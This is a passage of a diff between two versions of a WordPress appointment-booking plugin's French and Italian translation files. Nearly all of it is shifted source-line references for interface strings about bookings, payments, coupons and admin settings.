assets\u002Fjs\u002Felementor-widgets.js:5982\n-#: assets\u002Fjs\u002Felementor-widgets.js:8135\n-#: assets\u002Fjs\u002Felementor-widgets.js:8650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6421\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8574\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:9089\n-#: assets\u002Fjs\u002Fpublic.js:5982\n-#: assets\u002Fjs\u002Fpublic.js:8135\n-#: assets\u002Fjs\u002Fpublic.js:8650\n+#: assets\u002Fjs\u002Fdivi-modules.js:5983\n+#: assets\u002Fjs\u002Fdivi-modules.js:8136\n+#: assets\u002Fjs\u002Fdivi-modules.js:8651\n+#: assets\u002Fjs\u002Felementor-widgets.js:5983\n+#: assets\u002Fjs\u002Felementor-widgets.js:8136\n+#: assets\u002Fjs\u002Felementor-widgets.js:8651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6422\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8575\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:9090\n+#: assets\u002Fjs\u002Fpublic.js:5983\n+#: assets\u002Fjs\u002Fpublic.js:8136\n+#: assets\u002Fjs\u002Fpublic.js:8651\n msgid \"Total\"\n msgstr \"Total\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6005\n-#: assets\u002Fjs\u002Felementor-widgets.js:6005\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6444\n-#: assets\u002Fjs\u002Fpublic.js:6005\n+#: assets\u002Fjs\u002Fdivi-modules.js:6006\n+#: assets\u002Fjs\u002Felementor-widgets.js:6006\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6445\n+#: assets\u002Fjs\u002Fpublic.js:6006\n msgid \"Deposit\"\n msgstr \"Acompte\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6010\n-#: assets\u002Fjs\u002Felementor-widgets.js:6010\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6449\n-#: assets\u002Fjs\u002Fpublic.js:6010\n+#: assets\u002Fjs\u002Fdivi-modules.js:6011\n+#: assets\u002Fjs\u002Felementor-widgets.js:6011\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6450\n+#: assets\u002Fjs\u002Fpublic.js:6011\n msgid \"Paying now\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6548\n-#: assets\u002Fjs\u002Felementor-widgets.js:6548\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6987\n-#: assets\u002Fjs\u002Fpublic.js:6548\n+#: assets\u002Fjs\u002Fdivi-modules.js:6549\n+#: assets\u002Fjs\u002Felementor-widgets.js:6549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6988\n+#: assets\u002Fjs\u002Fpublic.js:6549\n msgid \"Coupon code is empty.\"\n msgstr \"Le code de coupon est vide.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6557\n-#: assets\u002Fjs\u002Felementor-widgets.js:6557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6996\n-#: assets\u002Fjs\u002Fpublic.js:6557\n+#: assets\u002Fjs\u002Fdivi-modules.js:6558\n+#: assets\u002Fjs\u002Felementor-widgets.js:6558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6997\n+#: assets\u002Fjs\u002Fpublic.js:6558\n msgid \"Coupon code applied successfully.\"\n msgstr \"Code de coupon appliqué avec succès.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6559\n-#: assets\u002Fjs\u002Felementor-widgets.js:6559\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6998\n-#: assets\u002Fjs\u002Fpublic.js:6559\n+#: assets\u002Fjs\u002Fdivi-modules.js:6560\n+#: assets\u002Fjs\u002Felementor-widgets.js:6560\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6999\n+#: assets\u002Fjs\u002Fpublic.js:6560\n msgid \"Sorry, your booking is not eligible for this coupon.\"\n msgstr \"Désolé, votre réservation n'est pas éligible pour ce coupon.\"\n \n #. Translators: %s: Business name.\n-#: assets\u002Fjs\u002Fdivi-modules.js:7563\n-#: assets\u002Fjs\u002Felementor-widgets.js:7563\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8002\n-#: assets\u002Fjs\u002Fpublic.js:7563\n+#: assets\u002Fjs\u002Fdivi-modules.js:7564\n+#: assets\u002Fjs\u002Felementor-widgets.js:7564\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8003\n+#: assets\u002Fjs\u002Fpublic.js:7564\n #, js-format\n msgid \"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\"\n msgstr \"En fournissant votre IBAN et en confirmant ce paiement, vous autorisez (A) %s et Stripe, notre prestataire de services de paiement, à envoyer des instructions à votre banque pour débiter votre compte et (B) votre banque à débiter votre compte conformément à ces instructions. Vous avez droit à un remboursement de votre banque selon les termes et conditions de votre accord avec votre banque. Un remboursement doit être réclamé dans les 8 semaines suivant la date à laquelle votre compte a été débité.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7584\n-#: assets\u002Fjs\u002Felementor-widgets.js:7584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8023\n-#: assets\u002Fjs\u002Fpublic.js:7584\n+#: assets\u002Fjs\u002Fdivi-modules.js:7585\n+#: assets\u002Fjs\u002Felementor-widgets.js:7585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8024\n+#: assets\u002Fjs\u002Fpublic.js:7585\n msgid \"Credit or debit card\"\n msgstr \"Carte de crédit ou de débit\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7588\n-#: assets\u002Fjs\u002Felementor-widgets.js:7588\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8027\n-#: assets\u002Fjs\u002Fpublic.js:7588\n+#: assets\u002Fjs\u002Fdivi-modules.js:7589\n+#: assets\u002Fjs\u002Felementor-widgets.js:7589\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8028\n+#: assets\u002Fjs\u002Fpublic.js:7589\n msgid \"or\"\n msgstr \"ou\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7603\n-#: assets\u002Fjs\u002Felementor-widgets.js:7603\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8042\n-#: assets\u002Fjs\u002Fpublic.js:7603\n+#: assets\u002Fjs\u002Fdivi-modules.js:7604\n+#: assets\u002Fjs\u002Felementor-widgets.js:7604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8043\n+#: assets\u002Fjs\u002Fpublic.js:7604\n msgid \"Select iDEAL Bank\"\n msgstr \"Sélectionnez iDEAL Bank\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7618\n-#: assets\u002Fjs\u002Felementor-widgets.js:7618\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8057\n-#: assets\u002Fjs\u002Fpublic.js:7618\n+#: assets\u002Fjs\u002Fdivi-modules.js:7619\n+#: assets\u002Fjs\u002Felementor-widgets.js:7619\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8058\n+#: assets\u002Fjs\u002Fpublic.js:7619\n msgid \"IBAN\"\n msgstr \"IBAN\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7882\n-#: assets\u002Fjs\u002Felementor-widgets.js:7882\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8321\n-#: assets\u002Fjs\u002Fpublic.js:7882\n+#: assets\u002Fjs\u002Fdivi-modules.js:7883\n+#: assets\u002Fjs\u002Felementor-widgets.js:7883\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8322\n+#: assets\u002Fjs\u002Fpublic.js:7883\n msgid \"Payment methods\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8094\n-#: assets\u002Fjs\u002Felementor-widgets.js:8094\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8533\n-#: assets\u002Fjs\u002Fpublic.js:8094\n+#: assets\u002Fjs\u002Fdivi-modules.js:8095\n+#: assets\u002Fjs\u002Felementor-widgets.js:8095\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8534\n+#: assets\u002Fjs\u002Fpublic.js:8095\n msgid \"Card\"\n msgstr \"Carte\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10130\n-#: assets\u002Fjs\u002Fedit-post.js:7677\n-#: assets\u002Fjs\u002Felementor-widgets.js:10130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:10569\n-#: assets\u002Fjs\u002Fpublic.js:10130\n+#: assets\u002Fjs\u002Fdivi-modules.js:10131\n+#: assets\u002Fjs\u002Fedit-post.js:7678\n+#: assets\u002Fjs\u002Felementor-widgets.js:10131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:10570\n+#: assets\u002Fjs\u002Fpublic.js:10131\n msgid \"Sorry, but we were unable to allocate time slots for the date you selected.\"\n msgstr \"Désolé, mais nous n'avons pas pu attribuer de créneaux horaires pour la date que vous avez sélectionnée.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10777\n-#: assets\u002Fjs\u002Felementor-widgets.js:10777\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11216\n-#: assets\u002Fjs\u002Fpublic.js:10777\n+#: assets\u002Fjs\u002Fdivi-modules.js:10778\n+#: assets\u002Fjs\u002Felementor-widgets.js:10778\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11217\n+#: assets\u002Fjs\u002Fpublic.js:10778\n msgid \"Sorry, there are no services, employees or locations to book.\"\n msgstr \"Désolé, il n'y a pas de services, d'employés ou d'endroits à réserver.\"\n \n #. Translators: %s: Checkbox label.\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3220\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n #, js-format\n msgid \"To enable this option, you need to check the '%s' box.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fedit-post.js:9006\n+#: assets\u002Fjs\u002Fedit-post.js:9007\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3238\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2977\n msgid \"To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.\"\n@@ -6400,19 +6390,19 @@\n msgid \"Colors\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11400\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11710\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11981\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12284\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12638\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12761\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13007\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13253\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13499\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13622\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11401\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11711\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11982\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12285\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12639\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12762\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13008\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13254\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13377\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13623\n msgid \"appointment\"\n msgstr \"rendez-vous\"\n \nBinary files \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-it_IT.mo and \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-it_IT.mo differ\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-it_IT.po \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-it_IT.po\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-it_IT.po\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-it_IT.po\t2026-06-30 15:16:08.000000000 +0000\n@@ -176,16 +176,6 @@\n msgid \"Help\"\n msgstr \"Supporto\"\n \n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:199\n-msgid \"Settings saved.\"\n-msgstr \"Impostazioni salvate.\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:265\n-msgid \"Save Changes\"\n-msgstr \"Salva cambiamenti\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:400\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:409\n #: includes\u002Felementor\u002Fwidgets\u002FAppointmentFormWidget.php:71\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:35\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:35\n@@ -202,18 +192,18 @@\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:26\n #: templates\u002Fprivate\u002Fpages\u002Fwizard.php:12\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3245\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11506\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11801\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12087\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12405\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12686\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12809\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12932\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13055\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13178\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13301\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13424\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11507\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11802\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12088\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12406\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12687\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12810\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12933\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13056\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13179\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13302\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13425\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13548\n msgid \"Settings\"\n msgstr \"Impostazioni\"\n \n@@ -237,27 +227,27 @@\n msgid \"Filtered bookings for customer\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:486\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:494\n msgid \"All Services\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:511\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:519\n msgid \"All Employees\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:536\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:544\n msgid \"All Locations\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:573\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:581\n msgid \"Export\"\n msgstr \"Esporta\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:574\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:582\n msgid \"Cancel Export\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:589\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:597\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:71\n #: includes\u002Fcrons\u002FExportBookingsCron.php:347\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:27\n@@ -276,18 +266,18 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:43\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:44\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12689\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12935\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13058\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13181\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13304\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13427\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n msgid \"ID\"\n msgstr \"ID\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageEmployeesPage.php:149\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:113\n@@ -297,11 +287,11 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:117\n #: assets\u002Fjs\u002Fanalytics-page.js:33399\n #: assets\u002Fjs\u002Fcalendar-page.js:45376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12464\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n msgid \"Services\"\n msgstr \"Servizi\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fcrons\u002FExportBookingsCron.php:354\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:64\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:126\n@@ -321,14 +311,14 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:33\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-service-form.php:102\n #: assets\u002Fjs\u002Fcalendar-page.js:38165\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3256\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3303\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n msgid \"Service\"\n msgstr \"Servizio\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:591\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:599\n #: includes\u002Fcrons\u002FExportBookingsCron.php:357\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:37\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:99\n@@ -337,13 +327,13 @@\n msgid \"Date\"\n msgstr \"Data\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:592\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:600\n #: includes\u002Fcrons\u002FExportBookingsCron.php:358\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:38\n msgid \"Time\"\n msgstr \"Ora\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:87\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:103\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:104\n@@ -356,12 +346,12 @@\n #: includes\u002Fpost-types\u002FEmployeePostType.php:52\n #: assets\u002Fjs\u002Fanalytics-page.js:33437\n #: assets\u002Fjs\u002Fcalendar-page.js:45414\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12473\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n msgid \"Employees\"\n msgstr \"Dipendenti\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:210\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageSchedulesPage.php:134\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:140\n@@ -391,7 +381,7 @@\n msgid \"Employee\"\n msgstr \"Dipendente\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:594\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:602\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageServicesPage.php:23\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:159\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:193\n@@ -403,11 +393,11 @@\n #: templates\u002Fservice\u002Fprice.php:19\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:36\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:64\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12559\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12560\n msgid \"Price\"\n msgstr \"Prezzo\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:595\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:603\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:156\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:72\n #: includes\u002Ffields\u002Fcomplex\u002FLicenseSettingsField.php:79\n@@ -417,7 +407,7 @@\n msgid \"Status\"\n msgstr \"Stato\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:596\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:604\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:214\n #: includes\u002Flist-tables\u002Femails\u002FCustomerEmailsListTable.php:32\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:86\n@@ -427,7 +417,7 @@\n msgstr \"Cliente\"\n \n #. Translators: %s: Paid amount.\n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:695\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:703\n #, php-format\n msgid \"Paid: %s\"\n msgstr \"Pagato: %s\"\n@@ -473,10 +463,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:202\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:67\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:62\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11634\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11905\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12214\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12562\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11635\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11906\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12215\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12563\n msgid \"Order\"\n msgstr \"Ordine\"\n \n@@ -845,7 +835,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:68\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:94\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:191\n-#: assets\u002Fjs\u002Fedit-post.js:9055\n+#: assets\u002Fjs\u002Fedit-post.js:9056\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3333\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:3069\n msgid \"— Select —\"\n@@ -1232,7 +1222,7 @@\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:139\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11359\n msgid \"Appointment Form\"\n msgstr \"Modulo per gli appuntamenti\"\n \n@@ -1480,7 +1470,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:76\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:100\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:198\n-#: assets\u002Fjs\u002Fedit-post.js:9057\n+#: assets\u002Fjs\u002Fedit-post.js:9058\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3202\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3204\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3205\n@@ -1494,7 +1484,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:146\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:79\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:91\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12493\n msgid \"Comma-separated slugs or IDs of tags that will be shown.\"\n msgstr \"Slug di attributi separati da virgola o ID dei tag che appariranno.\"\n \n@@ -1571,7 +1561,7 @@\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeAdditionalInfoShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13605\n msgid \"Employee Additional Information\"\n msgstr \"Informazioni aggiuntive sul dipendente\"\n \n@@ -1592,49 +1582,49 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:47\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FAbstractSingleEmployeeShortcode.php:25\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n-#: 